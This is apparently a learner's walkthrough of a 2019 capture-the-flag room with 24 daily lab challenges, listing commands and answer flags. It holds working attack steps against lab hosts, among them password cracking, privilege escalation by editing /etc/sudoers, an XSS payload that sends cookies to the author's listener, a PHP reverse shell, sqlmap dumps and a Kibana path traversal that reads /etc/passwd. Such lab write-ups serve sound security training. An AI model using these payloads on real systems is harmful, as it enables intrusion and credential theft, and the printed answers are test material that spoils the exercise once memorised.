Skip to content

Advent of Cyber 1 Banner

Advent of Cyber 1 2019 Logo

Advent of Cyber 1 [2019]

This guide contains the answer and steps necessary to get to them for the Advent of Cyber room.

Table of contents

[Day 1] Inventory Management

In this task we need to use cookies to account another users account.

  1. What is the name of the cookie used for authentication?

First we need to create an account on the website to view the cookie we get.

Register

Now we login and open the developer tools to look at the cookie stored in our browser. Here we find its name.

Cookie

Click for answerauthid

  1. If you decode the cookie, what is the value of the fixed part of the cookie?

We can decode the cookie using Cyber Chef. It looks like a Base64 encoding and this is exactly what Cyber Chef suggest.

Cyber Chef Decoding

We see the cookie is our username and a random string of characters. Could this be a fixed part for all cookies?

Click for answerv4er9ll1!ss

  1. After accessing his account, what did the user mcinventory request?

Lets find out. Adding the username mcinventory in front of the fixed part of the cookie and encoding it through Cyber Chef we get the following cookie:

Cyber Chef Encoding

Change the value of our existing cookie to the value we just created and reload the page. Looks like we are now logged in as mcinventory. On the home page we can see what het requested.

Item

Click for answerfirewall

[Day 2] Arctic Forum

In this task we will be using brute forcing to find hidden webpages.

  1. What is the path of the hidden page?

We will use DirSearch to find any hidden directories on the server. Using the following command:

dirsearch -u 10.10.101.69:3000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r

DirSearch Results

Click for answer/sysadmin

  1. What is the password you found?

Doing a little bit of OSINT research, we can look at the source of the website. Looks like there is a reference to a developer github page. Searching for Arctic Digital Design we find the following Github page with some default credentials.

Default Credentials

Click for answerdefaultpass

  1. What do you have to take to the 'partay'

Using the default credentials we found, we can login to the sysadmin page. On this page we find what to bring to the party.

Entry

Click for answerEggnog

[Day 3] Evil Elf

In this task we will investigate a networp capture using Wireshark. The supporting documentation can be found here.

  1. Whats the destination IP on packet number 998?

Looking at entry 998 we can see its destination ip in the destination column.

Click for answer63.32.89.195

  1. What item is on the Christmas list?

After opening the capture file in Wireshark, we can filter on either http or telnet to find any plain-text data. Sure enough, we get three hits for telnet. In the first one, we see a command which writes an item to the christmas list.

Evil Wireshark List

Click for answerps4

  1. Crack buddy's password!

In the next entries we see a command to lookup the users in the shadow file. Here we see a hashed password for buddy.

Evil Wireshark Password

Using hashcat we can crack this password with the following command:

hashcat -m 1800 password.txt /usr/share/wordlists/rockyou.txt

Click for answerrainbow

[Day 4] Training

In this task we will be learning some more basic commands to use in Linux.

  1. How many visible files are there in the home directory(excluding ./ and ../)?

To find the files in the home directory we use the following command: ls.

Find File

Click for answer8

  1. What is the content of file5?

To view the contents of file5 we use the following command:

cat file5

File5

Click for answerrecipes

  1. Which file contains the string ‘password’?

To find which file contains a specific string, we can use the following command:

grep -l -e "password" -f *

-l -> Only show matching files
-e -> Regex pattern to use
-f -> Files to look through

Find Password

Click for answerfile6

  1. What is the IP address in a file in the home folder?

To find the IP address in one of the files, we use the following command:

cat * | grep -E "([0-9]{1,3}\.){3}[0-9]{1,3}" -o

-E -> Extended Regex pattern to use
-o -> Only show the matching string

Find IP

Click for answer10.0.0.05

  1. How many users can log into the machine?

We can look for any users folders in the home directory.

ls -la /home

-l -> Display in a long listing format
-a -> Also show (hidden) files starting with `.`

Find Users

Click for answer3

  1. What is the sha1 hash of file8?

To find the hash we can use sha1sum with the following command: sha1sum file8.

Shasum

Click for answerfa67ee594358d83becdd2cb6c466b25320fd2835

  1. What is mcsysadmin’s password hash?

This is something we can usually find in the shadow file. Unfortunately, we don't have permission to access it. Maybe there is a backup file laying around somewhere. Lets look for it using:

find / 2>/dev/null grep "shadow.bak"

cat /var/shadow.bak | grep "mcsysadmin"

The 2>/dev/null part make sure we only see entries which are true (for our search).

Find Password

Click for answer$6$jbosYsU/$qOYToX/hnKGjT0EscuUIiIqF8GHgokHdy/Rg/DaB.RgkrbeBXPdzpHdMLI6cQJLdFlS4gkBMzilDBYcQvu2ro/

[Day 5] Ho-Ho-Hosint

In this task we will be using OSINT to find more information about our target. The first thing to do, is to reveal any metadata in the provided image.

exiftool thegrinch.jpg

Image Exiftool

Looks like the photographer is JLolax1. After searching for her, we find her Twitter profile. Here we can easiliy find the answers to questions 1, 2, and 3.

Twitter Profile

  1. What is Lola's date of birth? Format: Month Date, Year(e.g November 12, 2019)

Click for answerDecember 29, 1900

  1. What is Lola's current occupation?

Click for answerSanta's Helper

  1. What phone does Lola make?

Click for answeriPhone X

  1. What date did Lola first start her photography? Format: dd/mm/yyyy

Here we need to dig a little deeper. Following the link in her bio, we get to her Wordpress website. Nothing is stated about when she started photography. But we can search for some interesting information through the Waybackmachine. Here we can see this not on a previous version.

(Wayback Website

Click for answer23/10/2014

  1. What famous woman does Lola have on her web page?

To find out who is on the image, we can run it through Google image search or TinEye.

Tineye Image

Click for answerada lovelace

[Day 6] Data Elf-iltration

In this task we are looking at a network capture to identify any information we need.

  1. What data was exfiltrated via DNS?

Filtering the data on DNS traffic we find multiple entries with the same, seemingly, random string. Lets decode it using CyberChef.

Random String

Cyber Chef String

Click for answerCandy Cane Serial Number 8491

  1. What did Little Timmy want to be for Christmas?

Looking further in the telnet and http traffic we find a zip archive and an image. We can save these objects to our computer.

Export Files

To crack the archive, we can use fcrackzip.

fcrackzip -b -D -p /usr/share/wordlists/rockyou.txt christmaslists.zip

-b -> specify bruteforce attack
-D -> specify using a dictionary
-p -> specify dictionary file to use

Now unzip the archive and view Timmy's lists.

unzip christmaslists.zip

cat christmaslisttimmy.txt

Christmas List

Click for answerPenTester

  1. What was hidden within the file?

To find any hidden data in the image, we can use steghide.

steghide extract -sf ~/Downloads/TryHackMe.jpg

extract  -> specifies extracting hidden data
-sf      -> specifies file to extract from

Stegography

Click for answerRFC527

[Day 7] Skilling Up

In this task we will be using nmap to perform several scan of the target machine. The first 3 questions can be answered with one command:

nmap -sT -sV -p1-1000 -O 10.10.74.77

-sT   -> Perform a TCP scan
-sV   -> Look for more info on the services
-p    -> Specify port numbers to search for
-O    -> Find more info on the host OS

But they can also be performed individually.

  1. how many TCP ports under 1000 are open?
nmap -sT -p1-1000 10.10.74.77

Nmap Services

Click for answer3

  1. What is the name of the OS of the host?
nmap -sT -O 10.10.74.77

Nmap Host

Click for answerLinux

  1. What version of SSH is running?
nmap -sT -sV 10.10.74.77

Nmap SSH

Click for answer7.4

  1. What is the name of the file that is accessible on the server you found running?

During the Nmap scan we found a webserver running on port 999. Visiting this server in the browser, we find the file.

Website File

Click for answerinteresting.file

[Day 8] SUID Shenanigans

In this task we must ssh into the target machine and use SUID exploitation to read the flags we don't have permission for.

Username: holly

Password: tuD@4vt0G*TU

  1. What port is SSH running on?

Running nmap -sV 10.10.75.216 didn't give us a result. So we have to increase our port search area with:

nmap -sV -p1-65535 10.10.75.216

Nmap Scan

Click for answer65534

  1. Find and run a file as igor. Read the file /home/igor/flag1.txt

First we need to find which binaries run as igor. We can do this with the following command:

find / -user igor -perm 4000 -exec ls -ldb {} \; 2>/dev/null

We see we can run the find command to view the flag. find /home/igor/flag1/txt -exec cat {} \;.

SUID Flag 1

Click for answerTHM{d3f0708bdd9accda7f937d013eaf2cd8}

  1. Find another binary file that has the SUID bit set. Using this file, can you become the root user and read the /root/flag2.txt file?

Running the command again but searching for root we find the following:

find / -user root -perm 4000 -exec ls -ldb {} \; 2>/dev/null

SUID Root

The system-control binary could be what we look for. To read the flag we can take one of two approaches.

We either read the flag directly through system-control.

SUID Flag 2_2

Or we can use su to switch to root and read the flag.

SUID Flag 2

Click for answerTHM{8c8211826239d849fa8d6df03749c3a2}

[Day 9] Requests

Machine IP:

10.10.169.100

  1. What is the value of the flag?

I had issues connecting to the machine (yes my VPN was turned on). There was no response using the script or through the browser. Doing a quick nmap scan did reveal the machine to exist with port 3000. However, it was listed as filtered. This probably means the machine or service is not active anymore. It is a room from 2019 so..

nmap host discovery scan

Anyway, by using the supplied documentation I came up with the following script which would have hopefully found the flag.

import requests

path = ''
host = 'http://10.10.169.100:3000/'

values = ''

response = requests.get(host + path)
print(response)
json_respons = response.json()
path = "/" + json_respons["next"]
if path != "/end":
 values += json_respons["value"]

print("The flag is " + values)

Since this room is now probably not useable anymore, I think it wouldn't be a problem to post the flag itself to allow others to finish this room.

Click for answersCrIPtKiDd

[Day 10] Metasploit-a-ho-ho-ho

In this task we need to find an exploit for the webserver and gain access using Metasploit. We can use this blog post to guide us.

Machine IP:

10.10.154.103

First we run an nmap scan to find out more about our target machine.

nmap host discovery

We can see there is an Apache Coyote 1.1 service running on port 80 which is of interest to us. From the documentation we find we will be exploiting the struts2 vulnerability.

So open up Metasploit with the msfconsole command and type search struts2 to find any modules we can use.

Metasploit module search

For this task we will be using the exploit/multi/http/struts2_content_type_ognl module. Type use and the module name to select it.

Select module and show options

Next we will fill out the required information for our payload. Type show options to list all the options. In our example we will set the RHOST, RPORT, and TARGETURI. The LHOST was set correctly. If not, use ifconfig to find your ip address under eth0 or tun0 (deppending other wether or not you are using a VPN. After that is done type run to run the exploit.

Add information and run

In our case the TARGETURI will be /showcase.action as this is the base address for the webserver.

Browser view of our webserver

Now we have our session running on the target machine.

  1. Compromise the web server using Metasploit. What is flag1?

To find the flag we will use the find command. However, we first need to change our meterpreter session to a regular shell by using typing shell into our session.

Metasploit flag search

Click for answerTHM{3ad96bb13ec963a5ca4cb99302b37e12}

  1. Now you've compromised the web server, get onto the main system. What is Santa's SSH password?

Going through some of the directories, we find a file called ssh-creds.txt. This look interesting. Inside we find some credentials we can use to ssh into the machine.

SSH credentials

SSH credentials

Click for answerrudolphrednosedreindeer

  1. Who is on line 148 of the naughty list?

In terminal window (not meterpreter) we can ssh into the machine and look around for the files. We spot two lists here.

Directory files

To see who is on line 148 of the naughty list we could just count the lines, but using cat with some extra options will be easier.

cat -n naughty_list.txt | grep -i 148

The -n argument shows line numbers in the output which we can use to search with grep.

Produces

Naughty list result

Click for answerMelisa Vanhoose

  1. Who is on line 52 of the nice list?

Same command can be used here.

cat -n nice_list.txt | grep -i 52
Produces

Naughty list result

Click for answerLindsey Gaffney

[Day 11] Elf Applications

In this task we need to access some services on the target machine. See the accompanying documentation for mor help. Machine IP: 10.10.223.45

We first run an nmap scan to find all available services on the target machine by running:

nmap -sV 10.10.223.45

Nmap host scan

Here we can see we have three services running on their default ports. FTP on port 21, NFS on port 111, and MySQL on port 3306.

  1. What is the password inside the creds.txt file?

To get the password we need to access the NFS service. First we need to find out which shares are available for us to mount

showmount -e 10.10.223.45

Now we can mount this share to our system.

sudo mount 10.10.223.45:/opt/files /mnt

Mounting NFS share

Now we can go to the newly mounted directory and read the contents of the file.

Read file from NFS share

The file can also be opened from the folder itself.

Access NFS through folder

Click for answersecurepassword123

  1. What is the name of the file running on port 21?

The FTP service is active on port 21, so we will see if we can login anonymously.

Login anynomously to FTP

Success! No lets search for the file and copy it to our machine with the get command.

Download FTP file

Click for answerfile.txt

  1. What is the password after enumerating the database?

Reading the file.txt file we found on the FTP server, we see it contains some credentials for a SQL service. Lets see if they still work.

FTP file contents

mysql -u root -p 10.10.223.445

MySQL Login

Now we need to see which database we need by running the show databases command.

MySQL Show Databases

After trying several databases we find another one that might be interesting. Lets change to use that one.

MySQL Use Database

Does is contain any interesting tables? It looks like it! Lets enumerate the content of the table.

SELECT * FROM USERS

MySQL User Creds

Click for answerbestpassword

[Day 12] Elfcryption

In this task we will look at various encryption techniques to decrypt some files we received. The supporting documentation can be found here.

We first unzip the contents of the file using either the unzip tosend.zip command or through the GUI.

  1. What is the md5 hashsum of the encrypted note1 file?

To read the md5 hash of the note1.txt.gpg file we use the following command:

md5sum note1.txt.gpg

GPG File Hash

Click for answer24cf615e2a4f42718f2ff36b35614f8f

  1. Where was elf Bob told to meet Alice?

To decrypt the file we need a passphrase. I didn't know what it was so I used to one provided by the hint: 25daysofchristmas. Now we can decrypt it by using typing gpg -d note1.txt.gpg1 and entering the passphrase when prompted.

GPG File Decrypt

Click for answersanta's grotto

  1. Decrypt note2 and obtain the flag!

To decrypt the message we use the command as specified in the supporting material. Again, we use the passphrase supplied by the hint hello.

openssl rauthl -decrypt -inkey private.key -in note2_encrypted.txt -out note2_decrypted.txt

AES File Decrypt

Click for answerTHM{ed9ccb6802c5d0f905ea747a310bba23}

[Day 13] Accumulate

In this task we are asked to use our previously gathered knowledge to gain access to a system with only its IP address.

The first thing we do, is run a network scan to find all open ports and their services.

nmap -sV 10.10.85.141

Nmap Network Scan

Here we see a server running on port 80. Remember the other service for later.

  1. A web server is running on the target. What is the hidden directory which the website lives on?

Lets open the browser and navigate to the machine's IP and port 80. Here we indeed find a page for windows server. None of the links on this page will lead us anywhere, as there is no internet connections. Instead we will use a tool we used in day 2 of this challenge dirsearch. With the following command we can enumerate different directories present on the server.

dirsearch -u 10.10.85.141:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

DirSearch Results

This quickly gives us a directory to use. When navigating to the website, we see this is indeed available!

Retro Website

Click for answer/retro

  1. Gain initial access and read the contents of user.txt

We need to find a way into the system and read its contents. First we start looking around for any interesting information on the blog. None of the posts have anything of interest. However, we can also see a comment posted by Wade the author. This seems to hold some private stuff you would not want out in the open. Could it possibly be a password?

Website Comment

After some searching we find a login page for the Wordpress website. We can indeed login using the password we found earlier and username Wade. However, this will again lead us nowhere, as we cannot access the files from here. Remember the other service we found running on port 3389? A quick Google search tells us this is used for RPD connections, how fortunate!

Using Remmina with remmina -c rdp:wade@10.10.85.141:80 to login to the machine we need to supply a password at the prompt.

RDP Login

Here we find a conveniently placed file on our desktop. Sweet!

Click for answerTHM{HACK_PLAYER_ONE}

  1. [Optional] Elevate privileges and read the content of root.txt

This question was a though one, as there was no possibility for me to find out where to go next without a guide. The hint mentioned we should look for what the user was searching for. So the first thing I did was opening Internet Explorer to find any browser hidtory. This was empty.. Looking at other people's writeups, I saw they also had Chrome installed. I, unfortunately, didn't.

Desktop Screen

I took the liberty of viewing the users browser history another user posted. Apparently, they were searching for a CVE. Perhaps the system is vulnerable to it.

After another Google search I learned we could exploit the vulnerability to obtain a cmd shell with elevated priveleges through the UAC window.

I this case we can open the .exe file on the desktop to open a UAC prompt and view the certificate.

View Certificate

Clicking on the link for the certificate issuer should spawn a browser instance with elevated priveleges as it originates from the .exe.

Important note! Make sure no browser window is currently open before visiting the link. Otherwise, the link will be opened in the browser instance without priveleges.

In the opened browser window we get a connection error, but we can ignore that. We need to save this page as. Either through the menu or with Ctrl + S.

Save as Prompt

In the path bar we write: C:\Windows\System32\cmd.exe and press Enter.

A cmd shell should openen with elevated priveleges. Lets check.

Cmd Window

Lets find out which admin user we should login to.

Cmd Window Admin

Looks like it is called Administrator.

Moving into this directory we can search for the text file using:

dir "root.txt" /S

Cmd Root File

Now we can open this file and read the flag!

Click for answerTHM{COIN_OPERATED_EXPLOITATION}

[Day 14] Unknown Storage

In this task we will need to look for leaked information from an improperly configured AWS bucket. The supporting material can be found here.

  1. What is the name of the file you found?

All we need here is the name of the bucket advent-bucket-one.

We can navigate to advent-bucket-one.s3.amazonaws.com to see if the bucket is publicly accessible. And if so, which file is available.

AWS Bucket Information

Click for answeremployee_names.txt

  1. What is in the file?

To view a certain file, we can either use the AWS CLI (account necessary) or through the browser. In this case it is easier to use the browser.

advent-bucket-one.s3.amazonaws.com/employee_names.txt

Click for answermcchef

[Day 15] LFI

In this task, we will use Local File Inclusion in order to find a password to a server. Use the supporting information found here.

Machine IP: 10.10.253.159

  1. What is Charlie going to book a holiday to?

When we open the ip address in our browser we can see the notes Charlie has been taken.

Website Notes

Click for answerHawaii

  1. Read /etc/shadow and crack Charlies password.

Looking at the source code of the website, we notice this piece of code.

Website Source Code

Looks like it is loading in content from other files. It uses the /get-file/ command followed by the patch of the file. Let try reading the /etc/shadow file for some passwords.

Note. This can also be done using Burpsuite's Intercept function.

Website Shadow

Here we find a password for the user Charlie. Looks like it is a hashed password. From Hashcats examples page, this looks like a SHA512 hash (1800).

Copy and save the password to a file to be used with Hashcat.

Note! Make sure you copy to entire (and correct) part of the hash. Everything between ':' and ':'. Otherwise the length might not be what is expected by Hashcat.

Using hascat with the following command, we can try to find out what the password was (hashcat didn't work on a VM, so I had to switch to Windows).

hashcat.exe -m 1800 password.txt rockyou.txt

Hashcat Progress

Click for answerpassword1

  1. What is flag1.txt?

Nmap Scan

From our previously done Nmap scan, we see port 22 is open for an SSH connection. Lets try our credentials here.

ssh charlie@10.10.259.143

SSH Login

Now we just need to find and read the flag.

SSH File

Click for answerTHM{4ea2adf842713ad3ce0c1f05ef12256d}

[Day 16] File Confusion

In this task we are using python to automate several tasks on some zipped files. The suppoting documentation can be found here.

  1. How many files did you extract(excluding all the .zip files)

The following code was used to unzip all files.

ListofZips = os.listdir("/Files/")
for m in ListofZips:
   with zipfile.ZipFile('/Files/' + m , 'r') as zip_files:
   zip_files.extractall('/Files/')

Click for answer50

  1. How many files contain Version: 1.1 in their metadata?

I could not get the exiftool installed properly and it would not import in my script.

Click for answer3

  1. Which file contains the password?

T.b.d.

Click for answerdL6w.txt

[Day 17] Hydra-ha-ha-haa

In this task we will be using Hydra (can be downloaded here if needed) to brute force a password for someones web application login and SSH login. The supporting material can be found here.

With a quick Nmap scan we can see there are indeed two open ports (22 and 80).

Nmap Scan

  1. Use Hydra to bruteforce molly's web password. What is flag 1? (The flag is mistyped, its THM, not TMH)

We first visit the website on the target ip and port 80 (without the port it will still redirect).

Website Login

After inspecting the page, we see the form uses the POST method and the fields of interest are called username and password.

Using the documentation we can write the following hydra command to try and crack Molly's password.

hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.52.128 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"
  • -l = username
  • -P = password list
  • /login = the page to which hydra directs the request
  • username & password = the fields to enter data into

Hydra Website Password

With the found password we can now login in to website and find the flag.

Click for answerTHM{2673a7dd116de68e85c48ec0b1f2612e}

  1. Use Hydra to bruteforce molly's SSH password. What is flag 2?

To crack molly's ssh password we use the following command with Hydra:

hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.52.128 ssh -t 4
  • -t = number of threads

Hydra SSH Password

Using this password we can login to the machine through ssh with:

ssh molly@10.10.52.128

SSH Login

Here we can find the flag.

SSH Flag

Click for answerTHM{c8eeb0468febbadea859baeb33b2541b}

[Day 18] ELF JS

In this task we will exploit an XXS vulnerability using Javasctipt to get access to the admin cookie. The supporting documentation can be found here.

  1. What is the admin's authid cookie value?

After registering ourselves on the website, it is time to find out where we can use this XSS vulnerability.

Using the code <script>alert(1)</script> in the form for the message, we observe this is where the vulnerability is at.

Alert Concept

This also works for displaying our cookie for this session using: <script>alert(document.cookie);</script>

Alert Cookie

Using the documentation we see that we can redirect the user to a website controlled by us which contains the cookie data within the request. <script>window.location = ‘attacker-web-site.com/page?param=’ + document.cookie </script>

It also stated we should close any paragraphs. From de developer tool we can indeed see the information of the messages is placed within <p> tags, so we need to close those as well.

Altering the code line we get the following:

</p><script>window.location = "http://10.18.78.136:1337/mine.html?cookie="+ document.cookie;</script><p>

The IP address is our machine and the port is a 'randomly' chosen number. Then we need a fake page and parameter.

No we setting a listener on our machine using netcat to listen to any request made on port 1337.

nc -lvp 1337
  • -l = specifies using listening mode
  • -v = verbose logging
  • -p = specifies port number to listen on

Note! This apparently works, as the admin will periodically visit the website, meaning their connection will be forwarded to our machine. This was unclear to me at first.

Netcat Request

Note! The code we used here window.location actually redirects the user to our address. This effectivly renders the website useless as it is constantly redirecting traffic. This means we have to input our code correct in one try. Otherwise we have to restart the VM. It is clear this is not the perfect command as it will alert the owners, however, for now this was the best I could find by myself.

Click for answer2564799a4e6689972f6d9e1c7b406f87065cbf65

[Day 19] Commands

In this task we will explore the possibilities of using system commands through a web application. The supporting material can be found here.

  1. What are the contents of the user.txt file?

When accessing the website on ip address 3000 we only see some text.

Website

We are told, something intersting was found on the api/cmd/ endpoint. Navigating there we find the following:

Website Endpoint

Eventhough this doesn't give us anything, we can see from a quick dirsearch, that it does indeed exist. In fact, we see various names that look like commands which we might be able to use.

Website Dirsearch

After testing a few, this does in deed looks to be the case.

Website LS

Lets try a command to find our text file, since we know what it is called. We use find -name user.txt to get the following:

Find File

Now we know where we can find it, we will try reading the file using cat. However, this time cat /home/bestadmin/user.txt didn't work.

URL

So we need to encode the URL ('/' and 'space'). We can do so using CyberChef.

URL Encode

Now we can read the file with the encoded URL.

Flag Text

Click for answer5W7WkjxBWwhe3RNsWJ3Q

[Day 20] Cronjob Privilege Escalation

In this task we are tasked to hack into Sam's account and elevate our priveleges usin a running cronjob. There is no supporting material for this task, but I used this to help me understand how to exploit cronjobs to elevate our priveleges.

  1. What port is SSH running on?

First thing to do is an nmap scan to find any open ports and running services te determine on which port ssh is running.

Nmap Scan

Click for answer4567

  1. Crack sam's password and read flag1.txt

If Sam uses an easy password, logging into their account shouldn't be too difficult with Hydra. We can use the following command to have Hydra crack Sam's password.

hydra -l sam -P /usr/share/wordlists/ 10.10.72.36 ssh -t 4 -s 4567

Hydra Crack

Now we can ssh into the machine and find the flag.

SSH Login

First Flag

Click for answerTHM{dec4389bc09669650f3479334532aeab}

  1. Escalate your privileges by taking advantage of a cronjob running every minute. What is flag2?

Now we need to find out what cronjob is running and which it is executing. For this we can use crontab -l. Unfortunately, nothing is listed here. Neither does cat /etc/crontab. Lets try to use find /home -name *sh to find any scripts.

Find Scripts

Looks like a recurring task script to me. From the supplied website we found how to add a user to the list of sudoers. Add this to the script.

echo "sam ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

Edit Script

Now we just have to wait a minute before we can continue. We can do a quick check to see if it working with sudo -i or sudo -l.

To read the file we just need the following command sudo cat /home/ubuntu/flag2.txt.

Flag 2

Click for answerTHM{b27d33705f97ba2e1f444ec2da5f5f61}

[Day 21] Reverse Elf-ineering

In this task we will take a look at reverse engineering binaries. We will use Radare2 for this. The supporting documentation can be found here.

We will start by opening the file for debugging in Radare2 with the command: r2 -d challenge1. Then we tell the program to analyze the file and search for an entry point named main with aa and afl | grep main.

R2 Opening

Now we can look at the assembly code by typing pdf @main.

R2 Functions

To answer the questions we can simply look through the code. But I will also do a check to see if we are correct by running the coding and inspecting the registers and memory. This is done by placing a breakpoint before the mov eax line.

db 0x00400b69

Use pdf @main again to check the placement of the breakpoint (displayed as b). And dc to run the program up until the breakpoint.

R2 Breakpoint

  1. What is the value of local_ch when its corresponding movl instruction is called(first if multiple)?

On the third line we see that 1 is placed into the variable var_ch.

To check, we symply type: px @rbp-0xc to view the variable.

R2 Var ch

Click for answer1

  1. What is the value of eax when the imull instruction is called?

On the fourth line the value 8 is placed in var_8h. On line five, eax is set as 1. At the imull instruction, eax is multiplied by var_8h.

To check we type dr to view the registers (rax=eax).

R2 Eax

Click for answer6

  1. What is the value of local_4h before eax is set to 0?

On the next line var_4h is set as eax.

To check, we type: px @rbp-0x4.

R2 Var 4h

Click for answer6

[Day 22] If Santa, Then Christmas

In this task we have a similar challenge only with an added if-statement in the code. The supporting documentation can be found here.

Like the previous task, we will open the file for debugging, analyze it, and search for a main entry point.

If Santa Opening

Next we can look at the code with pdf @main.

If Santa Code

  1. what is the value of local_8h before the end of the main function?

First, var_8h is set to 8 and var_4h is set to 2. Then eax is set as var_8h.

Then if eax (8) is less or equal to var_4h (2): jump to [..]. As this statement is false, it moves on to add 1 to var_8h. Then it jumps to the end.

To check we set a breakpoint before the final instruction: db 0x00400b71. And check its value with: px @rbp-0x8.

If Santa Var 8h

Click for answer9

  1. what is the value of local_4h before the end of the main function?

From the first question we see var_4h is set as 2 and is never changed before the end.

To check this we type: px @rbp-0x4.

If Santa Var 8h

Click for answer2

[Day 23] LapLANd (SQL Injection)

In this task we are using SQL injection to enumerate databases without logging in. Then we use our found credentials to find more information on the subject. The supporting documentation can be found here.

  1. Which field is SQL injectable? Use the input name used in the HTML code.

On the login page we can see two fields. Email and password. It could be either one of these. Through sqlmap we found it to be the email field. Remember to use the name as used in the html file.

Sqlmap_Field

Click for answerlog_email

  1. What is Santa Claus' email address?

To get the email address, we will enumerate the databases and find any tables which contain user information. To start I run the following command to exploit the vulnerability and enumerate all the databases.

Note! This can also be done with the wizard sqlmap --wizard. I used that the first time. But you have more granular control over the output doing it yourself.

sqlmap -u http://10.10.104.79 --forms --batch --dbs

Sqlmap Databases

The social database looks like a good place to start. Lets enumerate it find the following command:

sqlmap -u http://10.10.104.79 --forms --batch --tables -D social

Sqlmap Social

In this database we see a table called users. Lets continue with that one.

sqlmap -u http://10.10.104.79 --forms --batch -D social -T users --dump

The table is dumped to a file which we can open or we can use the result printed in the terminal

Sqlmap Users

Click for answerbigman@shefesh.com

  1. What is Santa Claus' plaintext password?

In the previous step we also found santa's hashed password. We need to crack it with Hashcat. From their examples page, the hash looks like an MD5 hash. Using the following command we can find out what the plain-text password is.

hashcat -m 0 password.txt /usr/share/wordlists/rockyou.txt

Hashcat Password

Click for answersaltnpepper

  1. Santa has a secret! Which station is he meeting Mrs Mistletoe in?

With these credentials we can login to the website. Looking around for any messages we find the following.

Website Messages

Click for answerWaterloo

  1. Once you're logged in to LapLANd, there's a way you can gain a shell on the machine! Find a way to do so and read the file in /home/user/

Since this application is based on PHP, we can use the PHP reverse shell found in /usr/share/webshells/.... We substitute the IP address for ours and the port for any port number (10.18.78.136:1337). Save it and upload it to the website. We also need to open a listener on port 1337 using Netcat.

nc -nlvp 1337

Upload Attempt

Upload Failed

Looks like the .php extension is blocked. Lets change the file type and try again.

Upload Attempt 4

This seems to work and we can see an incomming connection.

Nc Connection

Now all we need to do, is navigate to the flag and open it.

Click for answerTHM{SHELLS_IN_MY_EGGNOG}

[Day 24] Elf Stalk

In this task we only get some information about the target machine and that we need to find a way to uncover sensitive information.

  1. Find the password in the database

The first thing I did was a nmap scan to uncover any services running on the machine. nmap -sV 10.10.77.2.

Nmap Scan

Looks like we have an ElasticSearch service running on 9200 and a Kibana-log on 8000. This might come in handy later. Lets focus on the database first.

From the documentation, we can see they use some sort of GET request, which we may be able to alter.

Elastic Documentation

Using _search, we can see we indeed get a response.

Elastic Search

Now that we have seen the structure of the data, we can try to look for a password in one of the messages.

_search?q=message:password

Elastic Password

Nice!

Click for answer9Qs58Ol3AXkMWLxiEyUyyf

  1. Read the contents of the /root.txt file

Now lets foccus on the Kibana instance. We didn't find anything yet, but a more indepth nmap scan releaved a service running on port 5601.

Nmap Scan More

This can be confirmed from the log file we found earlier.

Kibana Log

The version looks to be 6.4.2. Searching for an exploit yielded this result on Github.

Apparently we can use a path traversal exploit to look at the data on the machine. This was confirmed after navigating to the site via Burpsuite. Let try with a file that probably will exist as a proof of concept.

http://10.10.77.2:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../.../../../../etc/passwd

Kibana Passwd

The website seemed to be stuck. Maybe the log file can tell us something?

Kibana Log Passwd

Here we can in fact see the contents of the passwd file. Lets try with the root.txt file.

http://10.10.77.2:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../.../../../../root.txt

Kibana Root

Kibana Log Root

Hidden between the rest of the lines, we can see the contents of the file!

Click for answersomeELKfun